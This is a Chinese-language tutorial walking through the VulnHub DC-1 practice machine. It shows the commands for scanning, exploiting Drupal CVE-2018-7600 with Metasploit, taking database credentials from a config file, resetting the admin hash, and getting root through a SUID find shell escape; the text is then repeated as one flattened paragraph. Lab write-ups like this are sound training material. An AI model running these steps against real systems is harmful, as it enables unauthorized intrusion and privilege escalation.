VulnHub DC-1
字数 1205 2025-08-12 11:34:27

VulnHub DC-1 靶机渗透测试详细教程

靶场搭建

  1. 下载靶机镜像

    • 下载地址:https://www.vulnhub.com/entry/dc-1,292/
    • 下载Mirror版本的.OVA压缩文件
  2. 导入虚拟机

    • 使用VMware直接导入.OVA文件
    • 指定解压位置
  3. 网络配置

    • 网卡设置为NAT模式
    • 与攻击机Kali保持相同网络配置

渗透测试流程

1. 目标确认

  • 获取5个flags
  • 获得root权限

2. 信息收集

扫描网段

nmap -sP -T4 192.168.48.0/24
  • 发现靶机IP:192.168.48.135

端口扫描

nmap -sS -sV -Pn 192.168.48.135
  • 开放端口:
    • 22:SSH服务
    • 80:Web服务
    • 111:SUN RPC服务

3. Web渗透

  1. 访问80端口Web服务
  2. 识别CMS为Drupal 7.x
  3. 搜索已知漏洞:CVE-2018-7600 (Drupalgeddon 2)

使用Metasploit利用漏洞

msfconsole
search CVE-2018-7600
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.48.135
exploit
  • 成功获得www-data权限的shell

4. 获取Flag1

ls
cat flag1.txt
  • Flag1提示查看CMS的config配置文件

5. 获取Flag2

cd /sites/default/
cat settings.php
  • 在文件顶部找到:
    • Flag2
    • 数据库凭据:
      • 用户名:dbuser
      • 密码:R0ck3t

6. 数据库操作

获取完整shell

python -c 'import pty;pty.spawn("/bin/bash")'

登录MySQL

mysql -udbuser -pR0ck3t

数据库操作

show databases;
use drupaldb;
show tables;
select * from users;
  • 发现admin用户密码hash

7. 密码重置

  1. 找到Drupal密码加密脚本:
    /scripts/password-hash.sh

  2. 生成新密码hash:

cd /var/www
php scripts/password-hash.sh 新密码
  1. 更新数据库:
update users set pass="生成的hash" where name='admin';
  1. 使用新密码登录Drupal后台

8. 获取Flag3

  • 在Dashboard中找到flag3
  • 提示:特权账号能帮助找到密码,需要使用-exec命令查看shadow文件内容

9. 获取Flag4

cd /home/flag4
cat flag4.txt
  • 提示:尝试用同样方法在root目录中找flag

10. 提权尝试

方法1:sudo提权

sudo -l

方法2:SUID提权

find / -perm -4000 2>/dev/null
  • 发现可用find命令提权

使用find提权

find . -exec /bin/sh \;
  • 成功获取root权限

11. 获取最终Flag

cd /root
ls
cat thefinalflag.txt

关键知识点总结

  1. 信息收集

    • 使用nmap进行主机发现和端口扫描
    • 识别服务版本
  2. 漏洞利用

    • 识别Drupal 7.x版本
    • 利用CVE-2018-7600获取初始shell
  3. 权限提升路径

    • 通过配置文件获取数据库凭据
    • 通过数据库修改管理员密码
    • 利用SUID提权(find命令)
  4. Flag获取顺序

    • Web目录 → 配置文件 → 数据库 → 用户目录 → root目录
  5. 重要命令

    • python -c 'import pty;pty.spawn("/bin/bash")' - 获取完整交互shell
    • find / -perm -4000 2>/dev/null - 查找SUID文件
    • find . -exec /bin/sh \; - SUID提权方法

本教程完整展示了从信息收集到最终获取root权限的全过程,涵盖了Web渗透、数据库操作和系统提权等多个关键环节。

VulnHub DC-1 靶机渗透测试详细教程 靶场搭建 下载靶机镜像 : 下载地址:https://www.vulnhub.com/entry/dc-1,292/ 下载Mirror版本的.OVA压缩文件 导入虚拟机 : 使用VMware直接导入.OVA文件 指定解压位置 网络配置 : 网卡设置为NAT模式 与攻击机Kali保持相同网络配置 渗透测试流程 1. 目标确认 获取5个flags 获得root权限 2. 信息收集 扫描网段 : 发现靶机IP:192.168.48.135 端口扫描 : 开放端口: 22:SSH服务 80:Web服务 111:SUN RPC服务 3. Web渗透 访问80端口Web服务 识别CMS为Drupal 7.x 搜索已知漏洞:CVE-2018-7600 (Drupalgeddon 2) 使用Metasploit利用漏洞 : 成功获得www-data权限的shell 4. 获取Flag1 Flag1提示查看CMS的config配置文件 5. 获取Flag2 在文件顶部找到: Flag2 数据库凭据: 用户名:dbuser 密码:R0ck3t 6. 数据库操作 获取完整shell : 登录MySQL : 数据库操作 : 发现admin用户密码hash 7. 密码重置 找到Drupal密码加密脚本: /scripts/password-hash.sh 生成新密码hash: 更新数据库: 使用新密码登录Drupal后台 8. 获取Flag3 在Dashboard中找到flag3 提示:特权账号能帮助找到密码,需要使用-exec命令查看shadow文件内容 9. 获取Flag4 提示:尝试用同样方法在root目录中找flag 10. 提权尝试 方法1:sudo提权 方法2:SUID提权 发现可用find命令提权 使用find提权 : 成功获取root权限 11. 获取最终Flag 关键知识点总结 信息收集 : 使用nmap进行主机发现和端口扫描 识别服务版本 漏洞利用 : 识别Drupal 7.x版本 利用CVE-2018-7600获取初始shell 权限提升路径 : 通过配置文件获取数据库凭据 通过数据库修改管理员密码 利用SUID提权(find命令) Flag获取顺序 : Web目录 → 配置文件 → 数据库 → 用户目录 → root目录 重要命令 : python -c 'import pty;pty.spawn("/bin/bash")' - 获取完整交互shell find / -perm -4000 2>/dev/null - 查找SUID文件 find . -exec /bin/sh \; - SUID提权方法 本教程完整展示了从信息收集到最终获取root权限的全过程,涵盖了Web渗透、数据库操作和系统提权等多个关键环节。